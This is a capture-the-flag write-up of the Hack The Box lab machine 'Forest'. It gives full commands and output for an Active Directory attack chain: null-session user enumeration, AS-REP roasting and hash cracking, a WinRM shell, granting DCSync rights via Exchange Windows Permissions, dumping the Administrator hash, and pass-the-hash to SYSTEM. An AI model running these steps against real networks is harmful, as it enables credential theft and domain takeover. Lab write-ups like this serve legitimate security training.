Forest
IP: 10.10.10.161 | Difficulty: Easy | OS: Windows
Environment Setup
export IP=10.10.10.161
echo "10.10.10.161 htb.local forest.htb.local" >> /etc/hosts
Step 1 — Port Scan
Why: Map the attack surface. Windows DC profile determines which protocols to enumerate first.
nmap -sC -sV -p- --min-rate 5000 -oN forest.nmap 10.10.10.161
Output:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows AD LDAP (Domain: htb.local)
445/tcp open microsoft-ds Windows Server 2019
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows AD LDAP
5985/tcp open http Microsoft HTTPAPI 2.0
9389/tcp open mc-nmf .NET Message Framing
Key findings:
- Domain:
htb.local, DC:forest.htb.local - WinRM on 5985 — valid credentials → shell
- Classic Windows DC, no web application — pure AD attack path
Step 2 — RPC Null Session — User Enumeration
Why: RPC accepts unauthenticated binds. Dump all domain users to build a target list for AS-REP roasting.
rpcclient -U "" -N 10.10.10.161 -c "enumdomusers"
Output:
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x476]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
Key findings:
- 6+ domain users enumerated without credentials
svc-alfrescois a service account — service accounts frequently haveUF_DONT_REQUIRE_PREAUTHset (AS-REP roastable)
Step 3 — AS-REP Roasting — svc-alfresco
Why: Accounts with UF_DONT_REQUIRE_PREAUTH don't require Kerberos pre-authentication. Any host can request an AS-REP and receive a TGT encrypted with the account's password hash — crackable offline.
GetNPUsers.py htb.local/ -usersfile users.txt -no-pass -dc-ip 10.10.10.161
Output:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...<hash>...
hashcat -m 18200 svc-alfresco.hash /usr/share/wordlists/rockyou.txt
Output:
$krb5asrep$23$svc-alfresco@HTB.LOCAL:...:s3rvice
Key findings: svc-alfresco:s3rvice — service account with weak password, no pre-auth required.
Step 4 — WinRM Foothold — svc-alfresco
Why: svc-alfresco is in Remote Management Users. WinRM gives us an interactive shell.
evil-winrm -i 10.10.10.161 -u svc-alfresco -p 's3rvice'
Output:
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami
htb\svc-alfresco
Key findings: Shell obtained. user.txt on Desktop.
Step 5 — BloodHound — Privilege Escalation Path
Why: BloodHound maps AD ACL relationships and finds the shortest path from svc-alfresco to Domain Admin.
bloodhound-python -u 'svc-alfresco' -p 's3rvice' -ns 10.10.10.161 -d htb.local -c all
Output:
svc-alfresco → MemberOf → Service Accounts
Service Accounts → MemberOf → Privileged IT Accounts
Privileged IT Accounts → MemberOf → Account Operators
Account Operators → GenericAll → Exchange Windows Permissions
Exchange Windows Permissions → WriteDacl → HTB.LOCAL (domain object)
Key findings:
svc-alfrescois transitively a member of Account Operators via group nesting- Account Operators has GenericAll over Exchange Windows Permissions
- Exchange Windows Permissions has WriteDacl on the domain → can grant DCSync rights
Step 6 — Account Operators — Add User to Exchange Windows Permissions
Why: Account Operators can create users and add them to non-protected groups. We create a controlled account and add it to Exchange Windows Permissions to inherit WriteDacl over the domain.
net user hax0r Password123! /add /domain
net group "Exchange Windows Permissions" hax0r /add
Key findings: hax0r is now in Exchange Windows Permissions — inherits WriteDacl on the domain object.
Step 7 — WriteDacl — Grant DCSync Rights
Why: WriteDacl on the domain allows adding GetChanges and GetChangesAll ACEs to any account, enabling DCSync.
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\hax0r', $pass)
Add-DomainObjectAcl -Credential $cred `
-TargetIdentity "DC=htb,DC=local" `
-PrincipalIdentity hax0r `
-Rights DCSync
Key findings: hax0r now holds GetChanges + GetChangesAll on htb.local — DCSync is live.
Step 8 — DCSync — Administrator Hash
Why: With DCSync rights, secretsdump.py impersonates a DC replication partner and requests all domain hashes.
secretsdump.py htb.local/hax0r:'Password123!'@10.10.10.161 -just-dc-user Administrator
Output:
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:<NT>:::
Key findings: Administrator NT hash recovered — pass-the-hash for SYSTEM.
Step 9 — Pass-the-Hash — SYSTEM
Why: Administrator NT hash authenticates without the plaintext password.
psexec.py htb.local/Administrator@10.10.10.161 -hashes :<NT>
Output:
C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txt
<REDACTED>
Key findings: 🏴 MACHINE PWNED — DOMAIN ADMIN ACHIEVED
Credentials
| Account | Password |
|---|---|
| svc-alfresco | s3rvice |
| hax0r (created) | Password123! |
| Administrator |
Full Attack Chain
RPC null session → enumdomusers → svc-alfresco (service account)
└─ AS-REP roast (UF_DONT_REQUIRE_PREAUTH) → hashcat → s3rvice
└─ evil-winrm svc-alfresco → user.txt ✓
└─ BloodHound: svc-alfresco → Account Operators (nested)
└─ Account Operators → GenericAll → Exchange Windows Permissions
└─ net user hax0r; net group "EWP" hax0r
└─ Exchange Windows Permissions → WriteDacl → domain
└─ Add-DomainObjectAcl → hax0r DCSync rights
└─ secretsdump.py → Administrator NT hash
└─ psexec PTH → SYSTEM
🏴 ROOTED
© 0xNRG — Forest pwned — 2020-03-21